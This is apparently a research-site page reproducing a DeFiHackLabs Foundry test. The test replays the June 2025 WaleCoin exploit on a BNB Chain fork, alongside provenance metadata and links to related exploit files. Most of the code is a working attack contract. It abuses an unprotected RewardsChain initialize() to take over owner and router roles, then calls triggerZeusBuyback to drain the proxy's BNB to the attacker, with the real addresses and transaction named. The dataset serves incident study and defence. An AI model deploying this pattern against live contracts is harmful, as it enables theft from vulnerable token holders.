Public reproduction file
src/test/2025-06/WaleCoin_exp.sol
Public reproduction file for dataset entry WaleCoin.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1.415367204023272901 BNB8// Attacker : 0xc49F2938327aa2Cdc3F2F89Ed17b54b3671f05dE9// Attack Contract : 0x07a86AB86C58B894C3722fA8C69065320fAE888310// Vulnerable Contract : 0x67CEa5e25903c3022eBAF99E67e1898f1De6a75E11// Attack Tx : https://bscscan.com/tx/0xa3607a9db9ef422f19d341f728f5eaff3514358b7fe7d46aaf5de059ca67cd6412//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x904d8c8Ac825B70ce893cfdB133899d21e10e8b7#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/127918//19// Attack summary: RewardsChain.initialize(address) can be called after deployment and overwrites the20// owner, router, pair, allowances, and initial supply receiver. The attacker made a malicious router call21// initialize(address(this)), becoming authorized, then called triggerZeusBuyback with the token contract's22// BNB balance. The verified buyback path sent that BNB to the attacker-controlled router, which forwarded it.24address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;25address constant ATTACK_CONTRACT = 0x07A86AB86C58b894c3722fa8c69065320FAE8883;26address constant WALE_COIN = 0x67CeA5e25903c3022EBaf99e67e1898F1De6a75E;27address constant REWARDS_CHAIN_IMPL = 0x904D8c8aC825b70cE893Cfdb133899d21E10E8b7;28address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;30interface IRewardsChain {31 function initialize(32 address dexRouter33 ) external;34 function triggerZeusBuyback(uint256 amount, bool triggerBuybackMultiplier) external;35 function getOwner() external view returns (address);36 function router() external view returns (address);37 function balanceOf(38 address account39 ) external view returns (uint256);40}42contract ContractTest is BaseTestWithBalanceLog {43 function setUp() public {44 uint256 forkBlock = 51_488_106;45 vm.createSelectFork("bsc", forkBlock);47 fundingToken = address(0);48 attacker = ATTACKER;50 vm.label(ATTACKER, "Attacker");51 vm.label(ATTACK_CONTRACT, "Historical Attack Contract");52 vm.label(WALE_COIN, "WAL-E Coin Proxy");53 vm.label(REWARDS_CHAIN_IMPL, "RewardsChain Implementation");54 vm.label(WBNB_TOKEN, "WBNB");55 }57 function testExploit() public balanceLog {58 uint256 contractBnbBefore = WALE_COIN.balance;59 uint256 attackerBalanceBefore = ATTACKER.balance;60 address ownerBefore = IRewardsChain(WALE_COIN).getOwner();61 address routerBefore = IRewardsChain(WALE_COIN).router();63 assertGt(contractBnbBefore, 1 ether);64 assertTrue(ownerBefore != address(0));65 assertTrue(routerBefore != address(0));67 // step 1: deploy an attacker-controlled router and reinitialize the already-live proxy to that router.68 vm.prank(ATTACKER);69 WaleCoinAttack attack = new WaleCoinAttack(payable(ATTACKER));70 attack.execute();72 // step 2: initialize() made the malicious router authorized, so triggerZeusBuyback drained the BNB.73 uint256 attackerProfit = ATTACKER.balance - attackerBalanceBefore;74 assertEq(attackerProfit, contractBnbBefore);75 assertEq(WALE_COIN.balance, 0);76 assertEq(IRewardsChain(WALE_COIN).getOwner(), address(attack));77 assertEq(IRewardsChain(WALE_COIN).router(), address(attack));78 assertGt(IRewardsChain(WALE_COIN).balanceOf(address(attack)), 0);79 }80}82contract WaleCoinAttack {83 address payable private immutable profitReceiver;85 constructor(86 address payable receiver87 ) {88 profitReceiver = receiver;89 }91 function execute() external {92 IRewardsChain(WALE_COIN).initialize(address(this));94 uint256 amountToDrain = WALE_COIN.balance;95 IRewardsChain(WALE_COIN).triggerZeusBuyback(amountToDrain, false);97 profitReceiver.transfer(address(this).balance);98 }100 function factory() external view returns (address) {101 return address(this);102 }104 function createPair(address, address) external view returns (address) {105 return address(this);106 }108 function WETH() external pure returns (address) {109 return WBNB_TOKEN;110 }112 function swapExactETHForTokensSupportingFeeOnTransferTokens(113 uint256,114 address[] calldata,115 address,116 uint256117 ) external payable {}119 receive() external payable {}120}Analysis
Dataset entry
Public Foundry test for “WaleCoin” (2025-06-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/MetaPool_exp.solSame month in the dataset · 151 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0x07a86ab86c58b894c3722fa8c69065320fae8883
- Vulnerable Contract
0x67cea5e25903c3022ebaf99e67e1898f1de6a75e
- Vulnerable Contract
0x904d8c8ac825b70ce893cfdb133899d21e10e8b7
- Attack Tx
0xa3607a9db9ef422f19d341f728f5eaff3514358b7fe7d46aaf5de059ca67cd64
File record
- Name
- WaleCoin
- Path
- src/test/2025-06/WaleCoin_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1518e987e5381a0a4790203073246deae2c9c6c2
- Language
- Solidity
- Size
- 121 lines
- Date
- 2025-06-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/WaleCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1518e987e5381a0a4790203073246deae2c9c6c2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.